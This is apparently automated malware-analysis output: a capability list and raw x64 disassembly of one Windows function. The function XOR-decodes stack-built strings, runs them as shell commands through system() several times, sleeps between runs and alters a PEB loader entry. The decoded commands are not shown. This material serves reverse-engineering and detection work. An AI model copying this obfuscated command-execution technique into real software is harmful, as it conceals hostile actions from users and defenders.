Function at 0x140004a20
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Get kernel32 base address
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x4d0
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14008b080]
xor rax, rsp
mov qword [rbp + 0x480], rax
movabs rsi, 0x1a82c00612219d63
movabs rdi, 0xa911a00da5dbdc0e
movabs rbx, 0x5ae9db7fb60fb160
movabs r14, 0xfa7f1aa31c15015c
movabs r15, 0x914fd648d810418d
movabs r13, 0x22b073125dd87a07
movabs r12, 0x664c87391fffdf62
movabs r8, 0xfa7f1aa31c15496d
movabs rdx, 0x21b39b1d5813c678
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
call fcn.14000aec0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
call fcn.140002e10
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x6ef6a8267e53e800
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0xce472e90333a3b2c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0xa37eee71ee2778b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0x9d26983493efeb3d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0x1386472a64ea4931
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x68daed4b8e388252
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x7672efd081573629
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x1562b30f2bcdec55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x70b5d53ebfcdcedd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xac3fc0050cf4a5b7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0x28c23275ecd34195
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0xd38d6173766c8c04
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs rax, 0x24925eea2f42c0ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0xb8f96f241a4ec3a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0x606c83a10091ccdf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0x5075ce00726c60bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0x90baf35f19fbad83
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0xc0a1d9e3ff0f7e88
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rax, 0xe083058b208f8471
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0xd45423ddcebfff0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
movabs rax, 0x4e41dde4b7600f11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x410], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
movabs rax, 0x149ab94e91a7beab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
movabs rax, 0xc053a42b3cc5c184
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
movabs rax, 0x6d916750ccbc6cb5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
movabs rax, 0x96c12835393edc56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
movabs rax, 0x50f31a9a5f039cef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
movabs rax, 0xe4950e4775029fc8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
movabs rax, 0x92adfec65e7a599
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
movabs rax, 0xc05be615c2105ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
movabs rax, 0xccc99d367e8ec1f3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
movabs rax, 0xacc5f7d3ce6b4dec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
movabs rax, 0x85ef6cf80da2a41d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x470], rax
movabs rax, 0xd45423ddceb8b9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x478], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x400]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x420]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x140], ymm1
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x160], ymm1
lea rcx, [rbp + 0xe0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x6ef6a8267e53e800
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xce472e90333a3b2c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0xa37eee71ee2778b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0x9d26983493efeb3d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0x1386472a64ea4931
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x68daed4b8e388252
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x7672efd081573629
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0x1562b30f2bcdec55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0x7db5d53ebfcdcedd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xf221cb5f5fa0abea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x4dfe4a70a9c4099b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xf9a5465c6e62e615
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x228679ff2c5fef98
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x85e16f23297beba1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x6344b6b00094c4fb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x692b8c13335566af
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xa0a0ee1b53aea48b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0xacc5f7d3ce1f2389
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
movabs rax, 0x4e41dde4b7600f11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
movabs rax, 0x149ab94e91a7beab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
movabs rax, 0xc053a42b3cc5c184
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
movabs rax, 0x6d916750ccbc6cb5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
movabs rax, 0x96c12835393edc56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
movabs rax, 0x50f31a9a5f039cef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rax, 0xe4950e4775029fc8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs rax, 0x92adfec65e7a599
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
movabs rax, 0xc05be615c2105ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
movabs rax, 0xccc99d367e8ec1f3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
movabs rax, 0xacc5f7d3ce6b4dec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2e0]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x300]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x200]
vxorps xmm0, xmm0, xmmword [rbp + 0x340]
vmovdqa xmmword [rbp + 0x200], xmm0
lea rcx, [rbp + 0x180]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x73d59c3c5101f900
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x9f0c46d06b7a6532
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xf513af3cb16234ee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0xa974d36cc7baa86f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0x40], ymm1
lea rcx, [rbp + 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 8], 0xedf1efc3
mov dword [rbp + 0xc], 0xf4eea4c4
mov word [rbp + 0x10], 0xe8
mov byte [rbp + 0x12], 1
xor eax, eax
nop dword [rax + rax]
lea ecx, [rax - 0x7b]
xor byte [rbp + rax + 8], cl
inc rax
cmp rax, 9
jb 0x140005410
mov byte [rbp + 0x12], 0
lea r9, [rbp + 0x18]
lea r8, [rbp + 0x11]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x60]
call fcn.14000b0d0
nop
lea rcx, [rbp + 0x60]
call fcn.140002780
mov rbx, rax
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140005481
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000547c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056f5
call fcn.14006e6e4
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x60], 0
test rbx, rbx
jne 0x1400056fc
movabs rax, 0x3ae5ae6f6648fc34
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x9f0973e53c676e3a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x914fd648f63e6fc0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
vmovdqu ymm0, ymmword [rbp + 0x380]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
lea rcx, [rbp + 0x80]
vzeroupper
call fcn.140002080
movabs rax, 0x4ddefa45324df807
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x892369d473716f35
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0xcd36a221aa6522e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0xcc62c16fc4afbd6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0x4dc4107737b6135b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x64c9be07d3218312
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0x7f67e3d6970c7a7f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rbx, 0x5ae9db7fb60fb160
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0x4e41dde4b7600f11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
vmovdqu ymm0, ymmword [rbp + 0x3a0]
vpxor ymm1, ymm0, ymmword [rbp + 0xa0]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0xc0], ymm1
lea rcx, [rbp + 0xa0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004a9f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movabs rax, 0x3ae5ae6f7640f22f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0x95376ed37567620f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0x914ff866f6302ae2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x220], ymm1
lea rcx, [rbp + 0x220]
vzeroupper
call fcn.140002080
movabs rax, 0x75e6ae6f457da720
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0x880a79c66f49722b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0xf03bb72c846935e4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0xc37fc951c0a8bd6c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x479e416032ac1962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x5ae9db7fb60fd418
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rbx, 0x5ae9db7fb60fb160
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x220], ymm1
vmovdqa xmm2, xmmword [rbp + 0x240]
vxorps xmm2, xmm2, xmmword [rbp + 0x280]
vmovdqa xmmword [rbp + 0x240], xmm2
lea rcx, [rbp + 0x220]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x4ddefa45324df807
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0x892369d473716f35
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0xcd36a221aa6522e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0xcc62c16fc4afbd6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
movabs rax, 0x4dc4107737b6135b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x64c9be07d3218312
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movabs rax, 0x7f67e3d6970c7a7f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0x4e41dde4b7600f11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x260]
vmovdqa ymmword [rbp + 0x260], ymm1
vmovdqu ymm0, ymmword [rbp + 0x280]
vpxor ymm1, ymm0, ymmword [rbp + 0x240]
vmovdqa ymmword [rbp + 0x280], ymm1
lea rcx, [rbp + 0x260]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x7ee7b465774bf32a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xfa7f1aa31c15017d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call fcn.1400022d0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3